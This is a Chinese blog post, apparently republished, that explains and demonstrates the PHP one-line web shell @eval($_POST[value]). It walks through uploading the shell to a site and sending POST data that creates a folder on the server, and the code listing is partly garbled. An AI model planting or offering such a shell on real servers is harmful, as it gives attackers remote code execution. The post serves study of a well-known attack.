博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
【20171117早】php一句话脚本原理分析-容易理解
阅读量:5009 次
发布时间:2019-06-12

本文共 540 字,大约阅读时间需要 1 分钟。

summary:将一句话脚本上传至php网站,然后传入参数就可控制php网站所在主机,asp网站同等道理。

0x01:代码

  

1 

  分析:

  第2行:$_POST[value] 含义:url中post传入的参数名为value的参数

      @eval() 含义:将value内容当做php代码一样执行,说白了就是被客户端插入的php语句。

0x02:演示

  s1:本地创建一句话php文件,phps1.php,老黑添加了打印value值的代码

1 
";4 @eval($_POST[value]);5 ?>

  s2:上传至php网站

  s3:访问phps1.php,因为没哟传入post数据,所以页面显示为空

  s4:重要时刻到了,老黑要在post中传入新建一个black的文件

  s5:到php服务器下查看是否已经创建了black文件夹,创建成功。

 

 0x03:原理非常简单,当然这只是用来测试的网站,真正的网站必然会将这么明显的一句话脚本给查杀掉,但是一句话脚本也有着更高级的变形,想研究的可以自己搜索。

PS:本文仅供研究学习。

 

转载于:https://www.cnblogs.com/heijuelou/p/7850265.html

你可能感兴趣的文章
多任务——进程
查看>>
WCF:如何将net.tcp协议寄宿到IIS
查看>>
WebAPI HelpPage支持area
查看>>
Path元素
查看>>
php_soap扩展应用
查看>>
第二百三十一节,Bootstrap 介绍
查看>>
vi/vim 三种模式的操作
查看>>
JAVA面向对象三大特性总结
查看>>
guid
查看>>
Python中出现“TabError: inconsistent use of tabs and spaces in indentation”问题的解决
查看>>
ajax请求
查看>>
js学习总结----DOM增删改和应用
查看>>
希尔伯特矩阵(Hilbert matrix)
查看>>
(20)sopel算法
查看>>
学习总结 javascript 闭包
查看>>
实验吧一个小坑注入
查看>>
【 D3.js 高级系列 — 8.0 】 打标
查看>>
Mac必备软件推荐
查看>>
Android Gson深入分析
查看>>
display:flow-root
查看>>